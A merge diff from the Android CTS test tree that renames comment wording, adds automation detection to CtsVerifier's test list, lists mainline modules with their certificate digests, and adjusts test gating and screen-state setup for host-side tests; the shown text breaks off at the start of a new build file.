Merge "Fix failing testDeviceOwnerWithInfo test" into rvc-dev
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index f92c613..b9c16f4 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -318,7 +318,7 @@
 
 [MASTER]
 
-# Add files or directories to the blacklist. They should be base names, not
+# Add files or directories to the ignorelist. They should be base names, not
 # paths.
 ignore=CVS
 
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index b4677c7..0a90712 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -64,7 +64,7 @@
     patch = 255 * its.cv2image.gray_scale_img(patch)
     patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
 
-    # sanity check on image
+    # validity check on image
     assert np.max(patch)-np.min(patch) > 255/8
 
     # save full images if in debug
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index e54fdb5..14e381c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -319,7 +319,7 @@
         # 3. Child"s width > 0.1*Image width
         # 4. Child"s height > 0.1*Image height
         # 5. 0.25*Parent"s area < Child"s area < 0.45*Parent"s area
-        # 6. Child is a black, and Parent is white
+        # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
         if (prt_shape["width"] * 0.56 < child_shape["width"]
                     < prt_shape["width"] * 0.76
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 649fc2a..2d08267 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -282,7 +282,7 @@
         # 3. Child's width > 0.1*Image width
         # 4. Child's height > 0.1*Image height
         # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
-        # 6. Child is a black, and Parent is white
+        # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
         if (prt_shape['width'] * 0.56 < child_shape['width']
                     < prt_shape['width'] * 0.76
@@ -360,7 +360,7 @@
     world coordinates.
 
     Reproject the world coordinates back to pixel coordinates and compare
-    against originals as a sanity check.
+    against originals as a validity check.
 
     Compare the circle sizes if the focal lengths of the cameras are
     different using
@@ -583,7 +583,7 @@
                     circle[i]['x'], circle[i]['y'], r[i], t[i], k[i],
                     chart_distance)
 
-        # Back convert to image coordinates for sanity check
+        # Back convert to image coordinates for round-trip check
         x_p = {}
         y_p = {}
         x_p[i_2nd], y_p[i_2nd] = convert_to_image_coordinates(
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 9292f6a3..f1b1d36 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -128,7 +128,7 @@
     else:
         events, frames, _, h = load_data()
 
-    # Sanity check camera timestamps are enclosed by sensor timestamps
+    # Check that camera timestamps are enclosed by sensor timestamps
     # This will catch bugs where camera and gyro timestamps go completely out
     # of sync
     cam_times = get_cam_times(events["cam"])
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index b6579a8..36e6b71 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -30,7 +30,7 @@
 import its.image
 import rotation_rig as rot
 
-# For sanity checking the installed APK's target SDK version
+# For checking the installed APK's target SDK version
 MIN_SUPPORTED_SDK_VERSION = 28  # P
 
 CHART_DELAY = 1  # seconds
@@ -429,7 +429,7 @@
     device_id_arg = "device=" + device_id
     print "Testing device " + device_id
 
-    # Sanity check CtsVerifier SDK level
+    # Check CtsVerifier SDK level
     # Here we only do warning as there is no guarantee on pm dump output formt not changed
     # Also sometimes it's intentional to run mismatched versions
     cmd = "adb -s %s shell pm dump com.android.cts.verifier" % (device_id)
@@ -473,7 +473,7 @@
     with ItsSession() as cam:
         cam.check_its_version_compatible()
 
-    # Sanity Check for devices
+    # Correctness check for devices
     device_bfp = its.device.get_device_fingerprint(device_id)
     assert device_bfp is not None
 
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 6cdbb3e..fdb96d4 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -4342,7 +4342,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
-            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.RecentAppsTestActivity"
                  android:label="@string/ia_recents">
@@ -4351,7 +4351,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
-            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.AppInfoTestActivity"
                  android:label="@string/ia_app_info">
@@ -4374,4 +4374,8 @@
         </activity>
     </application>
 
+    <queries>
+         <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+         <package android:name="org.opencv.engine" />
+    </queries>
 </manifest>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 1505aca..99df613 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -20,7 +20,9 @@
 import android.app.ListActivity;
 import android.content.Intent;
 import android.content.res.Configuration;
+import android.graphics.Rect;
 import android.os.Bundle;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.Window;
 import android.widget.ListView;
@@ -28,17 +30,26 @@
 /** {@link ListActivity} that displays a list of manual tests. */
 public abstract class AbstractTestListActivity extends ListActivity {
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
+    //An invalid value which smaller than the edge of coordinate on the screen.
+    private static final float DEFAULT_CLICKED_COORDINATE = -1;
 
     protected TestListAdapter mAdapter;
-    // Start time of test item.
+    // Start time of test case.
     protected long mStartTime;
-    // End time of test item.
+    // End time of test case.
     protected long mEndTime;
+    // X-axis of clicked coordinate when entering a test case.
+    protected float mCoordinateX;
+    // Y-axis of clicked coordinate when entering a test case.
+    protected float mCoornidateY;
+    // Whether test case was executed through automation.
+    protected boolean mIsAutomated;
 
     protected void setTestListAdapter(TestListAdapter adapter) {
         mAdapter = adapter;
         setListAdapter(mAdapter);
         mAdapter.loadTestResults();
+        setOnTouchListenerToListView();
     }
 
     private Intent getIntent(int position) {
@@ -82,11 +93,16 @@
             }
             TestResult testResult = TestResult.fromActivityResult(resultCode, data);
             testResult.getHistoryCollection().add(
-                testResult.getName(), mStartTime, mEndTime);
+                testResult.getName(), mStartTime, mEndTime, mIsAutomated);
             mAdapter.setTestResult(testResult);
         }
         // Reset end time to avoid keeping same end time in retry.
         mEndTime = 0;
+        // Reset mIsAutomated flag to false
+        mIsAutomated = false;
+        // Reset clicked coordinate.
+        mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+        mCoornidateY = DEFAULT_CLICKED_COORDINATE;
     }
 
     /** Launch the activity when its {@link ListView} item is clicked. */
@@ -94,6 +110,10 @@
     protected final void onListItemClick(ListView listView, View view, int position, long id) {
         super.onListItemClick(listView, view, position, id);
         mStartTime = System.currentTimeMillis();
+        //Check whether the clicked coordinate is consistent with the center of the clicked Object.
+        Rect rect = new Rect();
+        view.getGlobalVisibleRect(rect);
+        mIsAutomated = (mCoordinateX == rect.centerX()) && (mCoornidateY == rect.centerY());
         handleItemClick(listView, view, position, id);
     }
 
@@ -102,4 +122,23 @@
         Intent intent = getIntent(position);
         startActivityForResult(intent, LAUNCH_TEST_REQUEST_CODE);
     }
+
+    /** Set OnTouchListener to ListView to get the clicked Coordinate*/
+    protected void setOnTouchListenerToListView() {
+        getListView().setOnTouchListener(null);
+        getListView().setOnTouchListener(new View.OnTouchListener(){
+            @Override
+            public boolean onTouch(View v, MotionEvent event) {
+                if (event.getAction() == MotionEvent.ACTION_UP) {
+                    mCoordinateX = event.getRawX();
+                    mCoornidateY = event.getRawY();
+                } else {
+                    // Reset clicked coordinate.
+                    mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+                    mCoornidateY = DEFAULT_CLICKED_COORDINATE;
+                }
+                return false;
+            }
+        });
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
index 0e7160c..f92d233 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -3,7 +3,6 @@
 import com.android.compatibility.common.util.TestResultHistory;
 
 import java.io.Serializable;
-import java.util.AbstractMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -11,6 +10,7 @@
 
 public class TestResultHistoryCollection implements Serializable {
 
+    private static final long serialVersionUID = 0L;
     private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
 
     /**
@@ -23,30 +23,32 @@
     }
 
     /**
-     * Add a test result history with test name, start time and end time.
+     * Add a test result history with test name, start time, end time and isAutomated.
      *
      * @param test a string of test name.
      * @param start start time of a test.
      * @param end end time of a test.
+     * @param isAutomated whether test case was executed through automation.
      */
-    public void add(String test, long start, long end) {
-        Set<Map.Entry> duration = new HashSet<>();
-        duration.add(new AbstractMap.SimpleEntry<>(start, end));
-        mHistoryCollection.add(new TestResultHistory(test, duration));
+    public void add(String test, long start, long end, boolean isAutomated) {
+        Set<TestResultHistory.ExecutionRecord> executionRecords
+                = new HashSet<TestResultHistory.ExecutionRecord> ();
+        executionRecords.add(new TestResultHistory.ExecutionRecord(start, end, isAutomated));
+        mHistoryCollection.add(new TestResultHistory(test, executionRecords));
     }
 
     /**
-     * Add test result histories for tests containing test name and a set of execution time.
+     * Add test result histories for tests containing test name and a set of ExecutionRecords
      *
      * @param test test name.
-     * @param durations set of start and end time.
+     * @param executionRecords set of ExecutionRecords.
      */
-    public void addAll(String test, Set<Map.Entry> durations) {
-        TestResultHistory history = new TestResultHistory(test, durations);
+    public void addAll(String test, Set<TestResultHistory.ExecutionRecord> executionRecords) {
+        TestResultHistory history = new TestResultHistory(test, executionRecords);
         boolean match = false;
         for (TestResultHistory resultHistory: mHistoryCollection) {
             if (resultHistory.getTestName().equals(test)) {
-                resultHistory.getDurations().addAll(durations);
+                resultHistory.getExecutionRecords().addAll(executionRecords);
                 match = true;
                 break;
             }
@@ -63,10 +65,12 @@
      * @param resultHistoryCollection a set of test result histories.
      */
     public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
-       if (resultHistoryCollection != null) {
+        if (resultHistoryCollection != null) {
             resultHistoryCollection.asSet().forEach(t-> addAll(
-                prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
-       }
+                prefix != null
+                        ? prefix + ":" + t.getTestName()
+                        : t.getTestName(), t.getExecutionRecords()));
+        }
     }
 
     /**
diff --git a/apps/CtsVerifierInstantApp/AndroidManifest.xml b/apps/CtsVerifierInstantApp/AndroidManifest.xml
index bb59c13..51a6df6 100644
--- a/apps/CtsVerifierInstantApp/AndroidManifest.xml
+++ b/apps/CtsVerifierInstantApp/AndroidManifest.xml
@@ -17,11 +17,13 @@
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
                 <category android:name="android.intent.category.DEFAULT" />
-                <data android:host="instantapp.cts.android.com" android:scheme="http"/>
-                <data android:host="instantapp.cts.android.com" android:scheme="https"/>
+                <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+                     android:scheme="http"/>
+                <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+                     android:scheme="https"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                 android:value="http://instantapp.cts.android.com" />
+                 android:value="https://source.android.com/compatibility/cts/verifier-instant-apps" />
         </activity>
     </application>
 </manifest>
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index 6e48bcc..fb18b06 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -19,6 +19,9 @@
  * Enum containing metadata for mainline modules.
  */
 public enum MainlineModule {
+
+    // Added in Q
+
     // Security
     MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
             true, ModuleType.APEX,
@@ -50,10 +53,6 @@
             "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
                     + ":F4:09:02:52:97"),
     // Consistency
-    TZDATA2("com.google.android.tzdata2",
-            true, ModuleType.APEX,
-            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
-                    + ":DA:C9:92:AB:E7"),
     NETWORK_STACK("com.google.android.networkstack",
             true, ModuleType.APK,
             "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
@@ -70,6 +69,61 @@
             true, ModuleType.APK,
             "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
                     + ":D5:FD:A0:33:0F"),
+
+    // Added in R
+
+    ADBD("com.google.android.adbd",
+            true, ModuleType.APEX,
+            "87:3D:4E:43:58:25:1A:25:1A:2D:9C:18:E1:55:09:45:21:88:A8:1E:FE:9A:83:9D:43:0D:E8"
+                    + ":D8:7E:C2:49:4C"),
+    NEURAL_NETWORKS("com.google.android.neuralnetworks",
+            true, ModuleType.APEX,
+            "6F:AB:D5:72:9A:90:02:6B:74:E4:87:79:8F:DF:10:BB:E3:6C:9E:6C:B7:A6:59:04:3C:D8:15"
+                    + ":61:6C:9E:60:50"),
+    CELL_BROADCAST("com.google.android.cellbroadcast",
+            true, ModuleType.APEX,
+            "A8:2C:84:7A:A3:9D:DA:19:A5:6C:9E:D3:56:50:1A:76:4F:BD:5D:C9:60:98:66:16:E3:1D:48"
+                    + ":EE:27:08:19:70"),
+    EXT_SERVICES("com.google.android.extservices",
+            true, ModuleType.APEX,
+            "10:89:F2:7C:85:6A:83:D4:02:6B:6A:49:97:15:4C:A1:70:9A:F6:93:27:C8:EF:9A:2D:1D:56"
+                    + ":AB:69:DE:07:0B"),
+    IPSEC("com.google.android.ipsec",
+            true, ModuleType.APEX,
+            "64:3D:3E:A5:B7:BF:22:E5:94:42:29:77:7C:4B:FF:C6:C8:44:14:64:4D:E0:4B:E4:90:37:57"
+                    + ":DE:83:CF:04:8B"),
+    MEDIA_PROVIDER("com.google.android.mediaprovider",
+            true, ModuleType.APEX,
+            "1A:61:93:09:6D:DC:81:58:72:45:EF:2C:07:33:73:6E:8E:FF:9D:E9:0E:51:27:4B:F8:23:AC"
+                    + ":F0:F7:49:00:A0"),
+    PERMISSION_CONTROLLER_APEX("com.google.android.permission",
+            true, ModuleType.APEX,
+            "69:AC:92:BF:BA:D5:85:4C:61:8E:AB:AE:85:7F:AB:0B:1A:65:19:44:E9:19:EA:3C:86:DB:D4"
+                    + ":07:04:1E:22:C1"),
+    SDK_EXTENSIONS("com.google.android.sdkext",
+            true, ModuleType.APEX,
+            "99:90:29:2B:22:11:D2:78:17:BF:5B:10:98:84:8F:68:44:53:37:16:2B:47:FF:D1:A0:8E:10"
+                    + ":CE:65:B1:CC:73"),
+    STATSD("com.google.android.os.statsd",
+            true, ModuleType.APEX,
+            "DA:FE:D6:20:A7:0C:98:05:A9:A2:22:04:55:6B:0E:94:E8:E3:4D:ED:F4:16:EC:58:92:C6:48"
+                    + ":86:53:39:B4:7B"),
+    TELEMETRY_TVP("com.google.mainline.telemetry",
+            true, ModuleType.APK,
+            "9D:AC:CC:AE:4F:49:5A:E6:DB:C5:8A:0E:C2:33:C6:E5:2D:31:14:33:AC:57:3C:4D:A1:C7:39"
+                    + ":DF:64:03:51:5D"),
+    TETHERING("com.google.android.tethering",
+            true, ModuleType.APEX,
+            "E5:3F:52:F4:14:15:0C:05:BA:E0:E4:CE:E2:07:3D:D0:0F:E6:44:66:1D:5F:9A:0F:BE:49:4A"
+                    + ":DC:07:F0:59:93"),
+    TZDATA2("com.google.android.tzdata2",
+            true, ModuleType.APEX,
+            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
+                    + ":DA:C9:92:AB:E7"),
+    WIFI("com.google.android.wifi",
+            false, ModuleType.APEX,
+            "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
+                    + ":FE:29:31:98:B1"),
     ;
 
     public final String packageName;
diff --git a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
index bea7506..d5301d4 100644
--- a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
+++ b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
@@ -64,6 +64,10 @@
             return;
         }
 
+        if (getDevice().isAdbTcp()) { // adb over WiFi, no point checking it
+            return;
+        }
+
         ProcessBuilder pb = new ProcessBuilder(check_ms_os_desc.getAbsolutePath());
         pb.environment().put("ANDROID_SERIAL", serial);
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 3125610..dac193f 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -22,7 +22,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts"
     ],
     libs: [
         "cts-tradefed",
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
index 508ce2d..fe33a37 100644
--- a/hostsidetests/angle/app/common/Android.bp
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -20,6 +20,5 @@
     test_suites: [
         "gts",
         "ats",
-        "mts"
     ],
 }
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index 1bfc779..9b2adb2 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -22,7 +22,6 @@
     test_suites: [
         "cts",
         "vts10",
-        "mts"
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 22f3c2f..fad514e 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -24,7 +24,6 @@
     test_suites: [
         "cts",
         "vts10",
-        "mts"
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 081da9b..c2ca8bc 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -41,7 +41,9 @@
       || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
       || systemProduct.equals("aosp_arm64_ab")
       || systemProduct.equals("aosp_x86_ab")
-      || systemProduct.equals("aosp_x86_64_ab");
+      || systemProduct.equals("aosp_x86_64_ab")
+      || systemProduct.equals("aosp_tv_arm")
+      || systemProduct.equals("aosp_tv_arm64");
   }
 
   /**
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 07a51af1d..d637ff0 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -226,7 +226,8 @@
         StatsdConfigProto.StatsdConfig.Builder configBuilder =
                 StatsdConfigProto.StatsdConfig.newBuilder()
                         .setId(configId)
-                        .addAllowedLogSource(pkgName);
+                        .addAllowedLogSource(pkgName)
+                        .addWhitelistedAtomIds(Atom.APP_COMPATIBILITY_CHANGE_REPORTED_FIELD_NUMBER);
         StatsdConfigProto.SimpleAtomMatcher.Builder simpleAtomMatcherBuilder =
                 StatsdConfigProto.SimpleAtomMatcher
                         .newBuilder().setAtomId(
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 1c83284..fc63925 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -18,6 +18,8 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
+import com.android.tradefed.device.DeviceNotAvailableException;
+
 import com.google.common.collect.ImmutableSet;
 
 /**
@@ -124,7 +126,7 @@
     }
 
     public void testRestrictStorageAccessFrameworkEnabled_blockFromTree() throws Exception {
-        if (isAtLeastR()) {
+        if (isAtLeastR() && isSupportedHardware()) {
             runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkEnabled_blockFromTree",
                 /* enabledChanges */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK),
@@ -133,7 +135,7 @@
     }
 
     public void testRestrictStorageAccessFrameworkDisabled_notBlockFromTree() throws Exception {
-        if (isAtLeastR()) {
+        if (isAtLeastR() && isSupportedHardware()) {
             runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
                 "testRestrictStorageAccessFrameworkDisabled_notBlockFromTree",
                 /* enabledChanges */ ImmutableSet.of(),
@@ -153,4 +155,17 @@
             return false;
         }
     }
+
+    private boolean isSupportedHardware() {
+        try {
+            if (getDevice().hasFeature("feature:android.hardware.type.television")
+                    || getDevice().hasFeature("feature:android.hardware.type.watch")
+                    || getDevice().hasFeature("feature:android.hardware.type.automotive")) {
+                return false;
+            }
+        } catch (DeviceNotAvailableException e) {
+            return true;
+        }
+        return true;
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
new file mode 100644
index 0000000..e2ff6c6
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Tests to verify app location access */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationPolicyTest extends BaseAppSecurityTest {
+
+    private static final String TEST_PKG = "android.appsecurity.cts.locationpolicy";
+    private static final String TEST_APK = "CtsLocationPolicyApp.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        new InstallMultiple(true).addFile(TEST_APK).run();
+        Utils.runDeviceTests(
+            getDevice(), TEST_PKG, ".LocationPolicyTest", "testLocationPolicyPermissions");
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
new file mode 100644
index 0000000..5731457
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * {@link TestRule} class that disables screen saver and doze settings before each test method
+ * running and restoring to initial values after test method finished.
+ */
+public class NormalizeScreenStateRule implements TestRule {
+    private final ITestInformationReceiver mTestInformationReceiver;
+
+    public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
+        mTestInformationReceiver = testInformationReceiver;
+    }
+
+    /** Doze items copied from ActivityManagerTestBase since the keys are hidden. */
+    private static final String[] DOZE_SETTINGS = {
+            "doze_enabled",
+            "doze_always_on",
+            "doze_pulse_on_pick_up",
+            "doze_pulse_on_long_press",
+            "doze_pulse_on_double_tap",
+            "doze_wake_screen_gesture",
+            "doze_wake_display_gesture",
+            "doze_tap_gesture",
+            "screensaver_enabled",
+    };
+
+    private ITestDevice getDevice() {
+        return mTestInformationReceiver.getTestInformation().getDevice();
+    }
+
+    private String getSecureSetting(String key) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command("settings get secure " + key);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+            return res.getStdout().trim();
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+            return null;
+        }
+    }
+
+    private void putSecureSetting(String key, String value) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command(
+                    "settings put secure " + key + " " + value);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+        }
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                final Map<String, String> initialValues = new HashMap<>();
+                Arrays.stream(DOZE_SETTINGS).forEach(
+                        k -> initialValues.put(k, getSecureSetting(k)));
+                try {
+                    Arrays.stream(DOZE_SETTINGS).forEach(k -> putSecureSetting(k, "0"));
+                    base.evaluate();
+                } finally {
+                    Arrays.stream(DOZE_SETTINGS).forEach(
+                            k -> putSecureSetting(k, initialValues.get(k)));
+                }
+            }
+        };
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index a35b974..557596a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -32,6 +32,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -65,6 +66,9 @@
 
     private boolean mSupportsMultiUser;
 
+    @Rule
+    public NormalizeScreenStateRule mNoDozeRule = new NormalizeScreenStateRule(this);
+
     @Before
     public void setUp() throws Exception {
         assertNotNull(getAbi());
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
new file mode 100644
index 0000000..b7174d2
--- /dev/null
